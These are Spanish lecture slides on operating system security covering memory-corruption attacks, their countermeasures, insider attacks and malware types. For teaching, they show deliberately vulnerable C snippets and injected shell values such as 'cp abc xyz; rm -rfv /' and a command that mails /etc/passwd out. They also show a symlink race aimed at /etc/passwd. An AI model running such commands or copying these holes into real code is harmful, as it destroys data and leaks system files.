Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de desbordamiento de buferBuffer overflow attacks
Van a seguir con nosotros (Van der Veen, 2012).Motivo: uso de lenguajes de programacioninseguros.
No comprobar automaticamente el lımite de un bufer.
Se consigue el nivel de privilegio del programavulnerable: cuidado con SETUID root.Contramedidas en sistemas modernos:
Canarios (Stack canaries).Proteccion de ejecucion de datos (Data Execution Protection -DEP).Aleatorizacion del espacio de direcciones (Address-SpaceLayout Randomization - ASLR).
Gustavo Romero Lopez Seguridad en Sistemas Operativos 55 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de desbordamiento de bufer
Gustavo Romero Lopez Seguridad en Sistemas Operativos 56 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de desbordamiento de bufer¿Es seguro?
C
1 char buffer [100];
2
3 for (int i = 0; i < 100; ++i)
4 buffer[i] = ...
C++
1 std::vector <int > buffer (100);
2
3 for (int i = 0; i < buffer.size(); ++i)
4 buffer[i] = ...
Gustavo Romero Lopez Seguridad en Sistemas Operativos 57 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Canarios
Metodo de defensa contra los ataques de desbordamientode bufer.
Procedencia del nombre: canarios utilizados en las minas.
Dejar un valor aleatorio en la pila bajo la direccion deretorno y comprobar que sigue allı tras una llamada.
Debe usarse explıcitamente:
gcc -fstack-protector{-all}
Informacion adicional: http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/
Gustavo Romero Lopez Seguridad en Sistemas Operativos 58 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Evitando los canarios
No alterarlo o hacerlo tras su verificacion.
El desbordamiento de bufer no se limita a direcciones deretorno.
Los punteros a funcion son vulnerables.
Tanto pila como montıculo (heap) son vulnerables.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 59 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Proteccion de ejecucion de datosData Execution Protection (DEP)
La causa real del problema no es la capacidad de unatacante de sobrescribir punteros a funcion o direccionesde retorno sino la capacidad de inyectar codigo.
¿Por que no hacer imposible la ejecucion de codigo enlas zonas de datos?
Los ataques de inyeccion de codigo dejarıan defuncionar.
Los procesadores modernos tiene el bit NX (No Execute).
Empleado en todos los sistemas operativos modernos.
WˆX = la memoria se puede escribir o ejecutar, pero noambas.Formas de conseguir DEP (Data Execution Prevention):
Hardware: bit NX (No Execute).Software.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 60 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de reutilizacion de codigo
Dado que...Los canarios dificultan sobrescribir direcciones de retorno ypunteros a funcion.DEP impide la ejecucion de codigo en regiones de datos.
¿Para que molestarnos en inyectar nuevo codigosi nuestros programas estan llenos de el?Ataques clasicos de reutilizacion de codigo:
return to libcreturn-oriented programming (ROP)
Gustavo Romero Lopez Seguridad en Sistemas Operativos 61 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
return to libc
Supongamos que podemos cambiar la direccion de retornopero no ejecutar codigo sobre la pila.¿A donde retornar?Casi todos los programas enlazan funciones de libc.Escoger binario y funcion: system, mprotect,... o PLT(Procedure Linkage Table).
Gustavo Romero Lopez Seguridad en Sistemas Operativos 62 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
return-oriented programming (ROP)
Mas complejo yfrecuente hoy dıa.
En lugar de retornarsiempre al principio deuna funcion escogercualquier direccion delsegmento de codigo.
Buscar fragmentos utilesde codigo acabados enuna instruccion deretorno.
Compiladores ROP:herramientasautomaticas.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 63 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Aleatorizacion del espacio de direccionesAddress-Space Layout Randomization (ASLR)
Suele ser posible elegir una direccion exacta de retorno.
En el peor de los casos por fuerza bruta.
¿Que pasarıa si las direcciones de mi programa cambiancada vez que lo ejecuto?
¿Que cambiar? Pila, montıculo y bibliotecas.
Usado por la mayorıa de los sistemas operativos.
Canarios + DEP + ASLR = costo razonable.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 64 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Evitando ASLR
Los exploits siguen apareciendo... ¿Como es posible?
ASLR no suele ser tan aleatorio como deberıa.
Ejemplo de ataque, goteo de memoria:
Introducir un numero menor que 0 o mayor que 15.
Conocida una direccion de memoria es facil averiguar elresto.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 65 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques que no modifican la secuencia de ejecucion
La mayorıa de los ataques intentan modificar direccionesde retorno y punteros a funcion para conseguir nuevafuncionalidad.Existe otro tipo de ataques en que la modificacion de losdatos basta.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 66 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Desbordamiento de bufer: la ultima palabra, o casi...
Es una de las tecnicas mas antiguas y utilizadas.
Parece imposible acabar con ellas1.
Reparto de culpas: lenguaje deprogramacion/programadores.Activo campo de investigacion:
Medidas de seguridad en los binarios.Extensiones de seguridad para compiladores.
1Victor van Der Veen, Nitish dutt-Sharma, Lorenzo Cavallaro y HertbertBos. Memory errors: the past, the present, and the future. En Research inAttacks, Intrusions, and Defenses. Paginas: 86-106. Springer. 2012.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 67 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de cadena de formato
Ataque de corrupcion de memoria.
Permite escribir cualquier cosa en cualquier sitio.
A los programadores no les gusta teclear...
seguro
1 char *s = "hola mundo";
2 printf(" %s", s);
vulnerable
1 char *s = "hola mundo";
2 printf(s);
Gustavo Romero Lopez Seguridad en Sistemas Operativos 68 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de cadena de formatoParametros mas utilizados en este tipo de ataques
Gustavo Romero Lopez Seguridad en Sistemas Operativos 69 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de cadena de formato
ejemplo de uso de %n: numero de caracteres impresos
5 int i = 0;
6 printf("hola %n mundo\n", &i);
7 printf("i = %d\n", i);
programa vulnerable
6 char s[100], g[100] = "hola ";
7 gets(s); // lee s
8 strcat(g, s); // g += s
9 printf(g); // escribe s
Gustavo Romero Lopez Seguridad en Sistemas Operativos 70 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de cadena de formato
http://pccito.ugr.es/ss/teoria/seguridad/src/fsa-exploit.c
4 int main(int argc , char** argv)
5 {
6 char buffer [100];
7 strncpy(buffer , argv[1], 100);
8 printf(buffer);
9 return 0;
10 }
Muchos ejemplos en Internet:
http://codearcana.com/posts/2013/05/02/
introduction-to-format-string-exploits.html
https:
//www.owasp.org/index.php/Format_string_attack
Gustavo Romero Lopez Seguridad en Sistemas Operativos 71 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Punteros colgadosDangling pointers
Tecnica de corrupcion de memoria.
Causa: acceso a un area de memoria de la que ya nosomos propietarios.
1 int *buffer = new int [100]; // :)
2 // hacer algo con buffer // :)
3 delete [] buffer; // :)
4 buffer [0] = 7; // :(
El ataque heap feng shui permite escoger que colocar enesa direccion de memoria.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 72 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de desreferencia de punteros nulos
En cada acceso a memoria la MMU traduce de direccionvirtual a fısica.
Linux de 32 bits: espacio de usuario (3GB)/nucleo (1GB).
Motivo de la cohabitacion: eficiencia, cambiar de espaciode direcciones es costoso.
Mecanismo explotado: llamar funciones de usuario desdeel nucleo.
La desreferencia de un puntero nulo produce un falloporque no hay codigo mapeado en la pagina 0.
Exploit: mapear direccion 0, copiar un shellcode yprovocar la desreferencia.
Solucion: prohibir a mmap la direccion 0.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 73 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de desbordamiento de enteros
Aritmetica entera de longitud fija: 8..128 bits.
La mayorıa de lenguajes no detectan este error.Secuencia:
1 entrada de usuario2 desbordamiento de enteros3 desbordamiento de bufer
Gustavo Romero Lopez Seguridad en Sistemas Operativos 74 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques de inyeccion de ordenes
http://pccito.ugr.es/ss/teoria/seguridad/src/command.injection.cc
7 std:: string orden = "cp ", origen , destino;
8 std::cout << "Fichero origen: ";
9 std:: getline(std::cin , origen);
10 orden += origen;
11 std::cout << "Fichero destino: ";
12 std:: getline(std::cin , destino);
13 orden += " " + destino;
14 system(orden.c_str());
Hacer que un programa ejecute ordenes sin darse cuentade que lo esta haciendo.Ejemplos:
cp abc xyz
cp abc xyz; rm -rfv /
cp abc xyz; mail [email protected] < /etc/passwd
Gustavo Romero Lopez Seguridad en Sistemas Operativos 75 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAtaques de desbordamiento de bufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyeccion de ordenes Ataques comprobacion/uso (Time of Check to Time of Use Attacks)
Ataques comprobacion/usoTime of Check to Time of Use Attacks (TOCTOU)
Explotacion de una condicion de carrera.
victima ejecutando programa setuid root
1 if (access("file", W_OK) != 0)
2 exit (1);
3 fd = open("file", O_WRONLY);
4 write(fd, buffer , sizeof(buffer));
Un atacante debe alterar file tras la comprobacion, lınea1, y antes del uso, lıneas 3 y 4.
programa atacante
symlink("/etc/passwd", "file");
Se consigue escalar privilegios.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 76 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Ataques desde dentro
Gustavo Romero Lopez Seguridad en Sistemas Operativos 77 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Ataques desde dentro
Ejecutados por empleados.
Poseen informacion con la que un atacante externo nocuenta.Clasificacion:
Bombas logicas.Puertas traseras.Suplantacion de identidad (login spoofing).
Gustavo Romero Lopez Seguridad en Sistemas Operativos 78 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Bombas logicas
En epocas de externalizacion existen personas que sepreparan ante una eventual ”patada en el culo”.
Codigo para sabotear el funcionamiento de un programa.
Motivo: chantaje de un trabajador a su empleador.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 79 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Puertas traseras
Codigo que da acceso a funcionalidades restringidas.
Razon por la que las revisiones de codigo sonobligatorias.
intento de puerta trasera en linux en 2003
1 if (( options == (__WCLONE|__WALL)) && (
current ->uid = 0))
2 retval = -EINVAL;
Gustavo Romero Lopez Seguridad en Sistemas Operativos 80 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso
Suplantacion de identidadlogin spoofing
Un usuario legıtimo intenta conseguir las clavesde los demas.
Ejemplo: falsificacion de la pantalla deidentificacion.
Contramedida: pulsacion de CTRL-ALT-DEL.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 81 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Software malicioso
Gustavo Romero Lopez Seguridad en Sistemas Operativos 82 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Software maliciosomalware
Troyano −→ virus −→ gusano
Compromete el sistema −→ se autoreplica conintervencion humana −→ no requiere la intervencion delusuario
Responsables de danos por millones de euros.
Escritos por aburrimiento o deseo de impresionar sin hacerdinero con ello.
Por desgracia se ha profesionalizado: crimen y guerra.
Zombi (Zombie): maquina comprometida.
Botnet: coleccion de zombis.
Delitos con el apellido “cibernetico”: spam, chantaje,robo, extorsion, fraude, minerıa, robo de identidad, ...
Gustavo Romero Lopez Seguridad en Sistemas Operativos 83 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Troyanos
Escribir software es facil.
Conseguir que mucha gente lo ejecute es difıcil.
Truco: anadir el software a un programaatractivo.
Una vez dentro suele copiarse y asegurar sureinicio automatico ademas de cumplir con sufuncion (payload).
Funciones habituales: buscar (claves, no detarjeta), destruir, cifrar, zombificar, ...
Gustavo Romero Lopez Seguridad en Sistemas Operativos 84 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Virus
Un virus es un programa que es capaz de hacercopias de sı mismo.
Suelen estar escritos en ensamblador o C.
Suelen distribuirse infectando software legıtimo.
Una vez alcanza su objetivo tiene dos misiones:autoreplicarse y ejecutar su carga (payload).
Gustavo Romero Lopez Seguridad en Sistemas Operativos 85 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Tipos de virus I
Virus acompanante (companion virus): se ejecuta enlugar de otro programa sin infectarlo.
En la epoca del MSDOS, al escribir prog en lugar deejecutarse prog.exe en su lugar se ejecutaba prog.com.
Virus de programa ejecutable: sobrescribe unejecutable con su codigo (overwritting virus).
Cuantos mas binarios sobrescriba antes sera detectado.Existe una version para MSDOS en ensamblador de 44 bytes.Son muy faciles de detectar.Virus parasitos: permite el normal funcionamiento delprograma infectado.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 86 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Tipos de virus II
Virus residentes en memoria: es capaz de permaceneren memoria independientemente del programa desde elque inicio su ejecucion.
Mejor ubicacion: vector de interrupciones.Se ejecuta con cada llamada al sistema.Una vez detectado exec() infecta al nuevo programa.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 87 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Tipos de virus III
Virus de sector de arranque: al encender el ordenadorla BIOS ejecuta el MBR.
El virus se situa en el MBR y sectores en desuso o marcadoscomo estropeados.Ejecutamos el virus en cada arranque.El nivel de privilegio es total.Durante el arranque del SO el virus se hace residente enmemoria.
Virus de controlador de dispositivo (device drivervirus): hacer un virus residente en memoria es difıcil, esmucho mejor si el SO lo carga disfrazado de controladorde dispositivo.
En windows los controladores son programas ejecutables.Se cargan al arrancar el sistema.Se ejecutan en modo nucleo.
Gustavo Romero Lopez Seguridad en Sistemas Operativos 88 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Tipos de virus IV
Macro Virus: virus escrito en un lenguajeinterpretado.
Las macros de Office permite ejecutar programas escritos enVisual Basic.La mayor parte de la gente no sabe lo que es.Siguen existiendo por su gran utilidad.
Virus de codigo fuente: para evitar que el virus dependade un SO esconder entre las lıneas del fuente de unprograma:
1 #include <virus.h>
2 ejecutar_virus ();
Gustavo Romero Lopez Seguridad en Sistemas Operativos 89 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Gusanos
Primer gusano liberado por R.T. Morris en 1988.
Descubrio dos fallos en UNIX.
Escribio un programa los explotaba para conseguir accesoy replicarse.
La mayorıa de sistemas Sun y VAX cayeron.
2 partes: arranque (rsh, finger, sendmail) y gusano(passwd).
Como consecuencia se creo el CERT (ComputerEmergency Response Team).
Gustavo Romero Lopez Seguridad en Sistemas Operativos 90 / 91
Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoTroyanos Virus Gusanos
Bibliografıa
Basica:
Modern Operating Systems (4th Edition). Andrew S.Tanenbaum. Prentice Hall. 2014.
Adicional:
Wikipedia: Seguridad Informatica
Carnegie Mellon University: Operating System Security
Gustavo Romero Lopez Seguridad en Sistemas Operativos 91 / 91